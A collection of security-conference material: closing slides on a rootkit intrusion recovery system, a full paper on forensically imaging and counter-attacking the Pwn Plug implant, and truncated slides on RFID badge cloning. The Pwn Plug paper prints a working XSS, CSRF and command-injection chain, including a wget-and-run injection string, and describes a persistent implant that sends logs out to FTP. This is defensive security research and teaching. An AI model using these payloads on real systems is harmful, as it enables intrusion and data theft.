Resources --- serves page faults – Physical memory – I/O ports – Tasks – Interrupts 35 Julian Grizzard DEFCON 13 Booting the System (lecture slides) • Modified grub • Multi-boot specification • Rmgr, sigma0, root task (rmgr II), … • IDT – General Protection Exception #13 – Page Fault #14 – Divide by zero #0 – Invalid opcode #6 – System calls Int30 IPC • Global Descriptor Table (GDT) vs. Local Descriptor Table (LDT) 36 Julian Grizzard DEFCON 13 L4 Security Problems? • Passing interrupt association • Direct memory access • Fill up page mapping database • Kernel accessible on disk • Cli/sti • A few more… 37 Julian Grizzard DEFCON 13 Talk Overview • Rootkit background • System call table tools – Demos • L4 microkernel introduction • Spine architecture • Intrusion recovery system (IRS) – Demos • Concluding remarks 38 Julian Grizzard DEFCON 13 Spine Architecture 39 Julian Grizzard DEFCON 13 Memory Hierarchy Detail 40 Julian Grizzard DEFCON 13 Spine Architecture Details • Uses L4 Fiasco microkernel • L4Linux runs on top of microkernel • User tasks run on L4Linux • Intrusion recovery system consists of levels 0 through 3 41 Julian Grizzard DEFCON 13 L4Linux • Port of Linux kernel to L4 architecture • “paravirtualization” vs. pure virtualization • Linux kernel runs in user space • Binary compatible 42 Julian Grizzard DEFCON 13 Talk Overview • Rootkit background • System call table tools – Demos • L4 microkernel introduction • Spine architecture • Intrusion recovery system (IRS) – Demos • Concluding remarks 43 Julian Grizzard DEFCON 13 Intrusion Recovery System • Capable of recovering from rootkit installations • Maintain a copy of known good state to verify system integrity and repair if needed • Must be integral part of operating system 44 Julian Grizzard DEFCON 13 IRS Cont… • Intrusion detection system is part of IRS – Must be able to detect that an intrusion has occurred in order to recover from it • Most difficult part of problem is verifying system integrity – How to verify data structures, config files, etc. • Another important challenge is verifying integrity of IRS itself – Malware has been known to disable IDS’s 45 Julian Grizzard DEFCON 13 Multi-Level IRS Reasoning • Difficult to monitor state of entire system from one vantage point • Difficulty comes in bridging the semantic gap between layers of the system • We use a multi-level approach 46 Julian Grizzard DEFCON 13 Multi-Leveled IRS Detail • L3 - verify file system state and repair if needed • L2 - kernel module to verify integrity of L4Linux and L3 and repair if needed • L1 - microkernel modifications to verify state of L2 and repair if needed; also provides secure storage for known good state • L0 - hardware support for maintaining isolation and verifying L1 (more hardware needed) 47 Julian Grizzard DEFCON 13 Demos Intrusion Recovery System Demonstration 48 Julian Grizzard DEFCON 13 Talk Overview • Rootkit background • System call table tools – Demos • L4 microkernel introduction • Spine architecture • Intrusion recovery system (IRS) – Demos • Concluding remarks 49 Julian Grizzard DEFCON 13 Limitations and Conclusions • Can an attacker install a microkernel-level rootkit? • What if attacker has physical access? • There is no be all end all solution! However, an IRS can make systems more reliable. 50 Julian Grizzard DEFCON 13 Thanks! • Henry Owen • John Levine • Sven Krasser • Greg Conti 51 Julian Grizzard DEFCON 13 Links [ Network and Security Architecture website ] http://www.ece.gatech.edu/research/labs/nsa/index.shtml [ Georgia Tech Information Security Center ] http://www.gtisc.gatech.edu/ [ Fiasco project ] http://os.inf.tu-dresden.de/fiasco/ [ Xen ] http://www.cl.cam.ac.uk/Research/SRG/netos/xen/ [ Samhain Labs ] http://la-samhna.de [ Chkrootkit ] http://www.chkrootkit.org [ DaWheel, “So you don’t have to reinvent it!” ] http://www.dawheel.org 52 Julian Grizzard DEFCON 13 Questions? Julian Grizzard grizzard AT ece.gatech.edu
pdf
Analyzing and Counter-Attacking Attacker-Implanted Devices Case Study: Pwn Plug Robert Wesley McGrew wesley@mcgrewsecurity.com Introduction In order to bypass restrictions on inbound network traffic, an attacker might find it desirable to “implant” a hardware device in the target network that would allow that attacker to launch attacks from within the target network. Such devices can be fully functional computers, yet small enough to be hidden and disguised within a target environment. One device, popular with penetration testers (and with the same feature- set as would be useful for a malicious attacker), is the Pwn Plug, from Pwnie Express. The Pwn Plug has the initial appearance of a printer or laptop power supply, but contains a functional computer running a small, but full-featured operating system designed for attacking systems, gathering information, and connecting back to the attacker to report its results. When an attacker-implanted device is discovered in an organization, that organization may wish to perform a forensic analysis of the device in order to determine what systems it has compromised, what information has been gathered, and any information that can help identify the attacker. When a device has been located on the network, it could also be the target of a counterattack, leveraging vulnerabilities in the device itself in order to compromise it and turn it into a system for monitoring the attacker. If the attacker were to retrieve the device for later use in another situation, the same monitoring software would follow. Vulnerabilities in attacker-implanted devices also have implications for penetration testers that are using the devices in authorized situations. If a third-party attacker is able to compromise the hardware and software tools being used by a penetration tester, then both the penetration tester and the tester’s client have been effectively compromised. An attacker’s actions may be disregarded by the client as part of the test, or the attacker may choose to simply monitor and manipulate the results of the tester’s activities in order to gather information about a client’s security posture (while simultaneously denying to the penetration tester). If a penetration tester using a compromised device does not sufficiently wipe it between engagements, then multiple clients may be compromised. In this research, we have used the most popular commercially/publicly-available implantable device, the Pwn Plug, as a case study for the above scenarios. We have documented an appropriate procedure for creating a forensic image of the Pwn Plug with a minimal impact on the device itself, as well as some information on where to focus an examination. We have also identified a number of vulnerabilities in the commercial Pwn Plug unit that, when combined, allow for remote compromise in a counter-attack or third-party attack. Finally, we present a piece of software developed for turning attacker-implanted devices into attacker-monitoring devices, essentially changing the devices into attacker- owned honeypot systems. Basic Hardware Information An important step in being able to image and analyze the Pwn Plug at a low-level is to identify the steps needed to restore a Pwn Plug from scratch, the boot process, what storage devices are available, and how they are accessed. The Pwn Plug is SheevaPlug (also known as Plug Computer Basic) hardware with an operating system “flashed” to the storage that is suitable for offensive operations. Development and hardware information for the SheevaPlug hardware is available at the following location: http://www.plugcomputer.org/downloads/plug-basic/ The Pwn Plug has an ARM5 processor, 512 megabytes of RAM, 512 megabytes of internal NAND storage, an ethernet adaptor, a mini-USB serial/JTAG port, and an SD card slot. Information specific to the Pwn Plug where its OS varies from other SheevaPlugs can be found at: http://pwnieexpress.com Forensic Acquisition The primary storage used by the Pwn Plug OS is the internal NAND, which is the focus of this acquisition procedure. All other storage that might be attached to a seized Pwn Plug (SD or USB) should be trivial to acquire an image of, with current tools and procedures designed for removable media. The Pwn Plug documentation contains a procedure for backing up and restoring the filesystem using a recursive copy, however this requires access to the command-line interface of the Linux install contained on the Pwn Plug. Presumably, an attacker will have set this to something other than the default in most cases, so a procedure is required that does not require this level of access. The filesystem is not encrypted, so a procedure that involves booting an analyst-controlled copy of Linux from USB would be suitable for imaging the Pwn Plug Linux installation to USB storage, bypassing the attacker-controlled password or other controls. After copying the image to USB, it can be loaded onto an analyst’s workstation for convenient examination (compared to being limited to the set of tools available in an embedded Linux distribution). The following steps will be described in the next few sections, which will result in the Pwn Plug’s root filesystem being imaged to a file on a USB drive for further analysis. • Create bootable USB • Get U-Boot prompt • Save U-Boot configuration • Boot USB • Copying Filesystem to USB • Shutdown All of the following instructions were performed on a Macbook Pro 15” Retina, running OS X Version 10.8.2, with virtual machines running Microsoft Windows 7 and Ubuntu Linux 12.10. Creating Bootable USB Began by creating a USB drive with a Debian Linux installation on it, compatible with the Pwn Plug hardware. Instructions for preparing the drive were adapted from: http://www.cyrius.com/debian/kirkwood/sheevaplug/unpack.html The USB drive was partitioned using the gparted tool for Linux, with partitions to be formatted for boot, root, and swap partitions for the Debian installation. An additional partition was added and formatted as FAT32 to store acquired images of Pwn Plug devices. For the 4 gigabyte USB drive used in testing, the following partition scheme resulted: Device Boot Start End Blocks Id System /dev/sdb1 2048 110591 54272 83 Linux /dev/sdb2 110592 1683455 786432 83 Linux /dev/sdb3 1683456 2011135 163840 82 Linux swap / Solaris /dev/sdb4 2011136 7669759 2829312 b W95 FAT32 The Linux partitions were then formatted with the following commands sudo mkfs.ext2 -I 128 /dev/sdb1 sudo mkfs.ext2 /dev/sdb2 sudo mkswap /dev/sdb3 Next, a mount-point was created for the Linux filesystems, and the Linux partitions of the USB drive were mounted into that mount-point: mkdir mnt sudo mount /dev/sdb2 mnt/ sudo mkdir mnt/boot sudo mount /dev/sdb1 mnt/boot/ The base installation of Debian for SheevaPlug devices was then acquired, and signatures checked: wget http://people.debian.org/~tbm/sheevaplug/lenny/base.tar.bz2 wget http://people.debian.org/~tbm/sheevaplug/lenny/base.tar.bz2.asc gpg --keyserver subkeys.pgp.net --recv-key 68FD549F gpg --verify base.tar.bz2.asc base.tar.bz2 Next, the base installtion was extracted onto the USB drive: cd mnt sudo tar -xjvf ../base.tar.bz2 After the extraction was complete, the device was unmounted: cd .. sudo umount mnt/boot sudo umount mnt With the Pwn Plug-bootable USB drive created, an image of it was created to facilitate quicker and easier deployment of similar USB drives in the future. Getting to the U-Boot prompt To get access to the Pwn Plug’s boot-loader, in order to boot it from USB, the Linux VM was set up to connect to the Pwn Plug’s serial console (over mini-USB) with the following commands adapted from the Pwn Plug documentation (though modified to include minicom, as screen was found to be unreliable): sudo modprobe usbserial sudo modprobe ftdi_sio vendor=0x9e88 product=0x9e8f sudo apt-get install minicom The default settings for minicom were correct, apart from needing to change the serial port to /dev/ttyUSB0. With the mini-USB cable connected, power should be turned on to the Pwn Plug, and immediately afterwards, minicom should be launched with its saved configuration to attempt to connect. If you are able to hit the return key a few times and reliably get the Marvell>> prompt without corruption or additional commands showing on the screen, then you have connected successfully. Occasionally, it seems to take multiple launches of minicom, or even a reboot of the Pwn Plug to successfully connect. Dumping and Saving the Existing U-Boot Configuration The following command should print the current environment of U-Boot on the Pwn Plug: env print The output of this command should be saved in order to restore the original configuration, in case changes are made in the analysis process. The output for the Pwn Plug used in this testing is included as original_uboot_env.txt (with MAC address obscured). Booting the Pwn Plug from USB At this point the bootable Debian USB drive can be plugged into the Pwn Plug, and the following command will start the USB system and help you verify that a storage device can be found: usb start The bootargs variable should then be set appropriately for USB booting: setenv bootargs console=ttyS0,115200 'root=/dev/sda2 rootdelay=10' Next, the uImage and uInitrd of the bootable Debian should be loaded into RAM: ext2load usb 0:1 0x800000 /uImage ext2load usb 0:1 0x1100000 /uInitrd Finally, the booting process can begin by issuing the following command: bootm 0x800000 0x1100000 If this is successfull, the Linux boot process should begin, finishing with a debian login prompt. Acquiring the NAND to USB Log into the Debian distribution with username root and password root. Next, mount the FAT32 partition to a directory: mkdir target mount /dev/sda4 target Then, look at available MTD devices with the cat /proc/mtd command. This is a list of what is contained in internal NAND memory. The following is the output for the test Pwn Plug: dev: size erasesize name mtd0: 00100000 00020000 "u-boot" mtd1: 00400000 00020000 "uImage" mtd2: 1fb00000 00020000 "root" Next, to acquire an image of the root filesystem: cd target dd if=/dev/mtdblock2 of=root.img Finally, unmount the target FAT32 partition and shutdown the bootable USB Debian: cd .. umount target shutdown -h now Once the message “System halted.” appears, you may remove the USB drive and unplug the Pwn Plug. Since no modifications to boot parameters were saved in U-Boot, the next time the Pwn Plug boots without the serial cable attached, it should boot normally into the Pwn Plug OS. Forensic Analysis Extracting the Filesystem The Pwn Plug root filesystem is a UBIFS image. Due to compression and large block sizes, it is difficult to recover previously deleted information from UBIFS images, and there currently exists no readily available forensic tools for analyzing UBIFS images. The current best practice for analyzing these images is to mount them into a Linux filesystem, and extract the files at the logical level using a recursive copy. The following instructions for extracting the directory structure from a Pwn Plug UBIFS image on Ubuntu Linux 12.10 were adapted from general instructions on UBIFS extraction located at: http://www.slatedroid.com/topic/3394-extract-and-rebuild-a-ubi-image/ This entire set of operations requires root privilege, so it may be convenient to switch to the root user for the duration of this section, rather than using sudo: sudo su First, the mtd-utils package must be installed: apt-get install mtd-utils To access this filesystem, the NAND memory must be simulated, requiring some kernel modules that must be loaded: modprobe mtdblock modprobe ubi When loading the NAND simulator module, identifier bytes must be set to select the type and capacity of memory to be simulated. The following command (from http://www.linux-mtd.infradead.org/faq/nand.html ), typed all in one line, works for creating simulated NAND that has the capacity to hold a Pwn Plug root image. modprobe nandsim first_id_byte=0x20 second_id_byte=0xac third_id_byte=0x00 fourth_id_byte=0x15 Next, check the list of MTD devices, to see if the above commands were successful: cat /proc/mtd The output should look like the following: dev: size erasesize name mtd0: 20000000 00020000 "NAND simulator partition 0" Next, image the root filesystem image acquired from the Pwn Plug to the MTD block device: dd if=root.img of=/dev/mtdblock0 Then attach the UBI device and mount the filesystem to a directory: mkdir pwn_root ubiattach /dev/ubi_ctrl -m 0 mount -t ubifs ubi0_0 pwn_root If successful, the root filesystem acquired from the Pwn Plug should be visible in the pwn_root directory. To copy the directory structure and files from this directory to the analysis machine’s filesystem for future analysis (without having to always repeat the above NAND simulation steps), issue the following commands: mkdir Pwn Plug_extracted cp -a pwn_root/* Pwn Plug_extracted/ The result should be a logical copy of the Pwn Plug root filesystem’s file and folder structure located in Pwn Plug_extracted for convenient analysis. The modules needed for NAND simulation can then be unloaded: ubidetach -m 0 rmmod nandsim rmmod ubifs rmmod ubi rmmod mtdblock Examination From the root directory of the filesystem, the /etc/motd.tail file contains the version and release date of the installation of the Pwn Plug OS on the system. As of the time of writing, the latest available OS images from Pwnie Express are version 1.1, with a script available to patch systems up to version 1.1.2. The 1.1.2 upgrade script reverts a change made in version 1.1.1 that moved some tools to an inserted SD card. Version 1.1.2 also, for both 1.1 and 1.1.1, removes the existing version of the Metasploit framework and installs a custom version of Metasploit maintained by Pwnie Express that is designed to use less disk space (and thus, fit in the Pwn Plug’s internal NAND memory). Forensic analysis of an acquired Pwn Plug image can be quickly focused on interesting artifacts of the device’s usage by comparing the files in the acquired filesystem to those in the base image from Pwnie Express. Note that, for best results, a base image should be used that matches the version of the Pwn Plug OS in the acquired image. Version numbers that have a trailing “c” (“1.1c”, for example) are free “community” versions of the OS that Pwnie Express has available for free download (for those who wish to convert a stock SheevaPlug into a Pwn Plug on their own). Version numbers that exclude the “c” are commercial versions that ship with Pwn Plugs from Pwnie Express, and are available to download for registered customers. Commercial versions include a web-based UI and other scripts that are not available in the community version. While having a commercial image to compare against would be best for analyzing an acquisition of a commercial Pwn Plug, a comparison against the free community edition will help narrow down the analysis nearly as well. Base images for the Pwn Plug can be extracted for comparison using the technique described in the previous section. To compare two extractions, use a command in this form (all on one line): diff -rq <base extraction> <acquired extraction> | grep -v “[file|fifo] while” > <output text file> When running this command, “No such file or directory” errors are due to symbolic links that do not resolve correctly due to the root of the filesystem being located in a subdirectory of your analysis system. These errors can be safely ignored, since all actual files are being compared recursively from the root of both extractions. The resulting text file will contain a list of files that differ, and only exist in one extraction or another, and will exclude special device files that are not relevant to your analysis. An example output of comparing the commercial “Wireless” filesystem to the community edition is included in the file community_1.1_vs_wireless_1.1.txt. This should serve to illustrate the format of comparison output, as well as provide guidance on files that are different between commercial and community versions for analysts that do not have access to commercial Pwn Plug images. Once extracted and compared, analysis of the remaining files should seem familiar to analysts that are experienced in examining Linux systems. Some observations: • While the /etc/hostname set in the downloaded images is “polonus5”, the hostname of a recently purchased Pwn Plug was observed to be the MAC address of the unit, with no spaces or separators. • Information on DHCP leases acquired on various interfaces may be contained in /var/lib/dhcp/dhclient.leases. This may reveal information about what networks the device has been connected to. • /var/log contains a variety of log files that one would expect to find on Linux systems that may reveal information about the attacker’s activities. • Logs of connections to the web-based interface (including IP addresses) included with the commercial versions of the Pwn Plug OS are contained in /var/Pwn Plug/plugui/webrick.log • The web-based interface includes a button that launches a script to clean up log entries and command histories. While this script is obviously useful for an attacker to remove forensically interesting artifacts, it also serves as a good reference for an analyst of places that such information might exist when the device is seized. Vulnerability Analysis A variety of vulnerabilities were discovered in the web interface (PlugUI) that commercial Pwn Plug systems include and operate by default. The combination of these vulnerabilities allows for the complete, remote root compromise in the counterattack scenario described in the next section, “Counterattack Scenario and Toolkit”. Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) is the result of web applications displaying user-supplied data in a way that does not suitably filter the data, allowing user-supplied data to run JavaScript code in the web browsers of other visitors of the web application. Attacker code running within the context of a web application can steal cookies, redirect users, and (in this case) can be used to trigger other vulnerabilities. The PlugUI interface presents the last ten lines of several log files. An example of this can be seen in the Passive Recon section of the interface. In the case of the HTTP requests displayed on this interface, if the “Host:” or “User-Agent” of a Pwn Plug- sniffed web request contains scripting of the following form, JavaScript can be executed in the owner of the Pwn Plug’s web browser when they view the site: <<SCRIPT>alert(“XSS Demo”);//<</SCRIPT> By crafting packets directly targeting the Pwn Plug, with the data segment containing text matching the regular expressions used by the monitoring process to log HTTP requests, we can easily load arbitrary scripts into the Passive Recon page to execute in the owner’s browser. Code to redirect the owner of the Pwn Plug to an attacker- controlled page can be placed in PlugUI’s Passive Recon page with the following Linux command: hping3 <pwnplug IP> -c 1 -p 80 -e ": GET\nHost: <<SCRIPT>window.location.href="http://192.168.1.11:8000/exploit. html";//<</SCRIPT>\nUser-Agent: a\nReferer: a\nCookie: \a" Note that data sent to and logged by the Pwn Plug may not show up in the web interface for a short time after it is sent. This is due to the buffered IO delaying the write to the log file. In cases where JavaScript must be loaded into the owner’s browser quickly, or when it is suspected that a high volume of legitimate HTTP traffic may “push” your exploit code off the page, it may be a good idea to send duplicates of the crafted packets at short intervals until the owner views one. This attack is easiest exploited in this HTTP traffic viewing portion of PlugUI, though other portions of the interface may be similarly neglecting to filter output. If “Passive Recon” is currently disabled, this is not immediately exploitable in this way. Using the next vulnerability, however, an attacker could remotely activate the “Passive Recon” feature. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) vulnerabilities are the result of web applications not suitably verifying that HTML forms submitted were actually done so from the current site. Web forms should have unique identifiers set per-instantiation that can be verified upon submission. When exploited, other sites (or exploited portions of the current site) open in the same browser as an authenticated session to the vulnerable site can submit forms to the vulnerable site on the behalf of logged-in users. This is frequently used to forge requests through administrative users to add accounts or change security settings. In the PlugUI interface, none of the forms in any part of the interface contain unique identifiers, nor do the targets of the forms verify the source of the data (through referrals or otherwise). A combination of HTML and JavaScript can be used to cause the Pwn Plug owner’s web browser to make changes to the Pwn Plug from any site the owner visits. An attacker could easily direct a Pwn Plug owner to visit a page by either placing the exploit code in a page intentionally referenced by a URL in data logged by the Pwn Plug, or in the public webspace of Pwn Plug owner’s target organization. This vulnerability is used in the Counterattack Scenario & Toolkit section as a way to leverage the following command injection vulnerability. Command Injection Command injection vulnerabilities in web applications are the result of passing un- sanitized user input into strings that are used as part of command-line arguments in the server-side of the web application. These are cases where a shell script or command is being launched by the web application. By manipulating the input, an attacker can take advantage of shell features (such as separating commands by “;” characters) to hijack control of the system call and execute arbitrary commands. In the PlugUI, the “Reverse Shells” section contains a number of form fields that are used to launch reverse shell connections back to the attacker. The values in these fields are eventually passed to the command-line unfiltered. By changing a field to include “;touch /root/proof_of_concept;” it can be observed that command execution can be obtained (though it may take a moment, as the commands get launched via a cron job that executes once per minute). This vulnerability may not seem immediately useful, since these forms are available only to users logged into the authenticated web interface of PlugUI. It is, however, leveraged without the consent of a logged-in user in the Counterattack Scenario & Toolkit section through the use of the previously described CSRF vulnerability (which is, in turn, leveraged by the XSS vulnerability). Mitigation - Stealth Mode The Pwn Plug documentation describes a “Stealth Mode” that disables all listening ports, including the SSH server and PlugUI web interface. This is described as an optional step when deploying the Pwn Plug into a target environment, and if set, it will close the attack surface used by these vulnerabilities and limit the counterattack scenario described in the following section. It is reasonable to assume, however, that an attacker might leave off “Stealth Mode” configuration due to it limiting options for connecting to the Pwn Plug unit (only reverse shells and serial console). When “Stealth Mode” is active, an organization wishing to counterattack the device would still have the more disruptive action of rebooting and gaining access through the serial console available. Counterattack Scenario & Toolkit Introduction It is possible to “counterattack” an Pwn Plug located in your organization in a scenario described as follows. There may be other possible scenarios where an attack can be launched against a Pwn Plug; this is simply one attack scenario identified as a result of this work. This counterattack allows for the installation of a monitoring program that periodically gathers data that may be useful in attributing the Pwn Plug to a specific owner, and identifying hosts, vulnerabilities, and data gathered by the Pwn Plug. This essentially turns the Pwn Plug into a honeypot that logs the actions of its owner. Pre-Requisites The following assumptions are made in the following sections’ description of this scenario. • The IP address of the Pwn Plug device must have been identified. • The PlugUI interface exists on the Pwn Plug and is currently activated. • The Passive Recon feature must be enabled, and the attacker must, at some point, check the results in PlugUI Note that in the Variations subsection later in this document, there is some discussion of how one could successfully counterattack a Pwn Plug device in scenarios where the above assumptions do not hold. Tools The following tools are used in this scenario (tools developed specifically for this research are included in the associated files): • exploit_packet_payload - Used as the payload for the packets sent via the hping3 command. First stage of exploitation • hping3 - used to craft and send arbitrary packets (publicly available) • Web server - any web server capable of hosting the files downloaded by the exploit and honeypot injected • FTP server - any FTP server set up with a limited account for incoming data transfers from the honeypot/monitoring software that will be installed on the Pwn Plug • pwnmon (filename: ubi.py) - Honeypot/monitoring software written specifically for this research that performs a variety of information gathering techniques on the Pwn Plug. Described in more detail in a future subsection. Scenario Given the above pre-requisites, the exploit_packet_payload contains the code that, will be rendered and executed in the “Passive Recon” section of the PlugUI interface (through the XSS) the following are the contents of this file: : GET Host: <html><form target="fr" id="theform" action="/script" method="post"><input type="hidden" name="tcp_ssh[active]" value="on"><input type="hidden" name="tcp_ssh[ip]" value=";cd /usr/sbin;wget http://192.168.9.187:8000/ubi.py;python ubi.py;rm ubi.py;"><input type="hidden" name="tcp_ssh[port]" value="31337"><input type="hidden" name="tcp_ssh[cron]" value="Every Minute"><input type="hidden" name="http_ssh[cron]" value="Every Minute"><input type="hidden" name="ssl_ssh[cron]" value="Every Minute"><input type="hidden" name="dns_ssh[cron]" value="Every Minute"><input type="hidden" name="icmp_ssh[cron]" value="Every Minute"><input type="hidden" name="gsm_ssh[cron]" value="Every Minute"><input type="hidden" name="egress_buster_ssh[cron]" value="Every Minute"></form><iframe style="display:none" name="fr" id="fr"></iframe><script type="text/javascript">document.forms["theform"].submit();</script></html> User-Agent: Hi Referer: Hi Cookie: Hi This file must be modified to change the URL (in bold here) to the URL where you have the supplied ubi.py hosted. Once suitable modifications are made, it can be sent to the Pwn Plug using the following hping3 command: sudo hping3 192.168.9.10 -c 1 -p 80 -E exploit_packet_payload -d 1100 In some situations, this command must be sent multiple times over a period of time in order to ensure that it is being displayed in the last ten lines being displayed to the Pwn Plug operator when they go to the “Passive Recon” section. It may also take some time for a relatively low-traffic “Passive Recon” section to display the exploit code due to it being buffered. You may wish to send it several times to ensure that it is there when the operator views it. Once the Pwn Plug operator visits the “Passive Recon” page, a chain of events begins: • Via the XSS vulnerability, a hidden version of the “Reverse Shells” form is loaded, with crafted values • Notably, tcp_ssh[ip] is set to: ;cd /usr/sbin;wget http://192.168.9.187:8000/ubi.py;python ubi.py;rm ubi.py; • JavaScript code immediately submits this form to the PlugUI application (via the CSRF vulnerability), which sets up commands including the injected commands into an every-minute cron job (via the command-injection vulnerability). • A short while later, the injected commands execute: • ubi.py is downloaded from the web server • ubi.py is executed • It cleans up after the exploit and installs itself as honeypot/monitoring software (described in more detail in the next section). • ubi.py is deleted • At (the next) 17 minutes past the hour (when cron.hourly executes on the Pwn Plug), the installed honeypot/monitoring software gets launched independently of the web app from a cron job and begins its activities (described in more detail in the next section) • Every 10 minutes (configurable) • A collection of data from the Pwn Plug is uploaded to the FTP server • A script is downloaded and run from a configurable web site (for updates, additionally features, commands you’d like to run) Honeypot/Monitoring Software - pwnmon The pwnmon software was written as a payload for this counterattack scenario, and provides for monitoring the actions taken on Pwn Plug and the data that it collects and logs. It could easily be modified to run on other attacker-implanted devices as well. The following configuration options should be set before it is deployed: • ftp_host = '192.168.9.187' • ftp_user = 'pwnplug' • ftp_pass = 'password' • remote_script = 'http://192.168.9.187:8000/ubimount.py' • installed_location = '/usr/sbin/ubifsck' • installed_name = 'ubifsck' • lock_file = '/usr/sbin/ubichksum' • collection_prefix = 'pwnplug' • sleep_time = 600 The “ubi” filenames are chosen to blend in with the utilities installed on the Pwn Plug for managing UBI filesystems. FTP credentials and web server addresses should be set accordingly for your scenario, and the collection prefix can be modified to differentiate multiple monitored pwnplugs. The sleep time is in seconds. The general actions taken by this software are as follows: • If it is being run as a result of the above-described exploits & scenario (filename is “ubi.py”) it will clean up after those exploits: • It nulls out the HTTP request results to keep that XSS/CSRF from firing again • It disables the reverse SSH configuration that was leveraged for command- injection to prevent it from executing over and over again • It prevents itself from being run multiple times concurrently • It installs itself to “installed_location” • Sets up persistence (through rc.local and cron.hourly) • Disables the bash history clearing feature of the Pwn Plug • Every ten minutes (configurable) it will: • Run a script from your website, maybe to implement: • Upgrading pwnmon • Remote-imaging the Pwn Plug • Disabling the device • Extra gathering features • Anything you want! • Gather up the following information and tar.gz’s it: • Process list • Command history • Complete file listing • Network interfaces • Network connections • All log files (including for the PlugUI web app, Metasploit, etc.) • Uploads the collected information to your FTP server Variations • If the Pwn Plug owner can be convinced to visit a web site under your control (likely no huge feat), the XSS aspect of the above scenario can be skipped, and the web site can directly exploit the CSRF vulnerability in the Reverse Shell page. • In cases where the IP address of the Pwn Plug cannot be determined, the first stages of the attack could potentially be adapted and repeated across a range of IP addresses in order to identify the device. • The default IP address of the Pwn Plug as-shipped is 192.168.9.10. This knowledge could potentially be used to compromise Pwn Plug devices using CSRF exploits as the devices sit in their configuration/staging environments before they are even deployed by attackers. Conclusions It has been observed in this case study that it is possible to, upon identifying a “rogue” Pwn Plug within your organization, to forensically acquire an image of the device and analyze it with relative ease. Such a device can also be counter-attacked, either by overwhelming it with data to the point that it can log no more, or, more effectively, by leveraging vulnerabilities in its code. By using vulnerabilities of attack software against it, we can turn attacker-implanted devices into attacker-monitoring and honeypot devices. In addition, legitimate penetration testers that use such devices should be aware that vulnerabilities in the tools they use might expose them and their clients to compromise from third-party attackers. Devices being used by penetration testers are attractive targets for malicious attackers. Such devices should be restored to a known-good configuration between tests, and monitored for potential compromise. Penetration testers themselves should have the skillset necessary to protect themselves and monitor for compromise, in order to protect their clients.
pdf
RFID Hacking Live Free or RFID Hard 03 Aug 2013 – DEF CON 21 (2013) – Las Vegas, NV Presented by: Francis Brown Bishop Fox www.bishopfox.com Agenda 2 • Quick Overview • RFID badge basics • Hacking Tools • Primary existing RFID hacking tools • Badge stealing, replaying, and cloning • Attacking badge readers and controllers directly • Planting Pwn Plugs and other backdoors • Custom Solution • Arduino and weaponized commercial RFID readers • Defenses • Protecting badges, readers, controllers, and more O V E R V I E W Introduction/Background 3 GETTING UP TO SPEED Badge Basics 4 Name Frequency Distance Low Fequency (LF) 120kHz – 140kHz <3ft (Commonly under 1.5ft) High Frequency (HF) 13.56MHz 3-10 ft Ultra-High-Frequency (UHF) 860-960MHz (Regional) ~30ft F R E Q U E N C I E S Legacy 125kHz 5 S T I L L K I C K I N 80% • “Legacy 125-kilohertz proximity technology is still in place at around 70% to 80% of all physical access control deployments in the U.S. and it will be a long time” - Stephane Ardiley, HID Global. • “There is no security, they’ve been hacked, there’s no protection of data, no privacy, everything is in the clear and it’s not resistant to sniffing or common attacks.” Opposite of Progress 6 T A L K M O T I V A T I O N S 2007 2013 HID Global - Making the Leap from Prox to Contactless ID Cards https://www.hidglobal.com/blog/making-leap-prox-contactless-id-cards How a Card Is Read 7 P O I N T S O F A T T A C K Card Reader Controller Wiegand output Host PC Ethernet Card • Broadcasts 26-37 bit card number Reader • Converts card data to “Wiegand Protocol” for transmission to the controller • No access decisions are made by reader Controller • Binary card data “format” is decoded • Makes decision to grant access (or not) Host PC • Add/remove card holders, access privileges • Monitor system events in real time Badge Types 8 • The data on any access card is simply a string of binary numbers (ones and zeros) of some fixed configuration and length, used to identify the cardholder • HID makes different types of cards capable of carrying this binary data including: • Magnetic Stripe • Wiegand (swipe) • 125 kHz Prox (HID & Indala) • MIFARE contactless smart cards • iCLASS contactless smart cards * Multi-technology cards H I D P R O D U C T S Badge Types 9 Badge Basics 10 C A R D E L E M E N T S Card – “Formats” Decoded • Card ID Number • Facility Code • Site Code (occasionally) *Note: if saw printed card number on badge, could potentially brute force the 1-255 facility code (for Standard 26 bit card) Badge Formats 11 HID ProxCard II “Formats” • 26 – 37 bit cards • 44 bits actually on card • 10 hex characters • Leading 0 usually dropped D A T A F O R M A T S HID Global – Understanding Card Data Formats (PDF) http://www.hidglobal.com/documents/understandCardDataFormats_wp_en.pdf Badge Formats 12 D A T A F O R M A T S RFID Other Usage 13 W H E R E E L S E ? RFID Hacking Tools 14 P E N T E S T T O O L K I T Methodology 15 3 S T E P A P P R O A C H 1. Silently steal badge info 2. Create card clone 3. Enter and plant backdoor Distance Limitations 16 A $ $ G R A B B I N G M E T H O D Existing RFID hacking tools only work when a few centimeters away from badge Proxmark3 17 R F I D H A C K I N G T O O L S Single button, crazy flow diagram on lone button below $399 • RFID Hacking swiss army knife • Read/simulate/clone RFID cards ProxBrute 18 R F I D H A C K I N G T O O L S • Custom firmware for the Proxmark3 • Brute-force higher privileged badges, like data center door RFIDiot Scripts 19 R F I D H A C K I N G T O O L S RFIDeas Tools 20 R F I D H A C K I N G T O O L S • No software required • Identifies card type and data • Great for badges w/o visual indicators of card type $269.00 Tastic Solution L O N G R A N G E R F I D S T E A L E R Tastic RFID Thief 22 • Easily hide in briefcase or messenger bag, read badges from up to 3 feet away • Silent powering and stealing of RFID badge creds to be cloned later using T55x7 cards L O N G R A N G E R F I D S T E A L E R Tastic RFID Thief 23 • Designed using Fritzing • Exports to Extended-Gerber • Order PCB at www.4pcb.com • $33 for 1 PCB • Much cheaper in bulk L O N G R A N G E R F I D S T E A L E R Custom PCB 24 T A S T I C R F I D T H I E F Custom PCB – easy to plug into any type of RFID badge reader Wiegand Input 25 Custom PCB – reads from Wiegand output of reader T A S T I C R F I D T H I E F Commercial Readers 26 • Indala Long-Range Reader 620 • HID MaxiProx 5375AGN00 T A S T I C R F I D T H I E F Indala Cloning 27 E X A M P L E I N P R A C T I C E Tastic Solution: Add-ons 28 M O D U L E S T O P O T E N T I A L L Y A D D • Arduino NFC Shield • Arduino BlueTooth Modules • Arduino WiFly Shield (802.11b/g) • Arduino GSM/GPRS shields (SMS messaging) • WIZnet Embedded Web Server Module • Xbee 2.4GHz Module (802.15.4 Zigbee) • Parallax GPS Module PMB-648 SiRF • Arduino Ethernet Shield • Redpark - Serial-to-iPad/iPhone Cable Forward Channel Attacks 29 E A V E S D R O P P 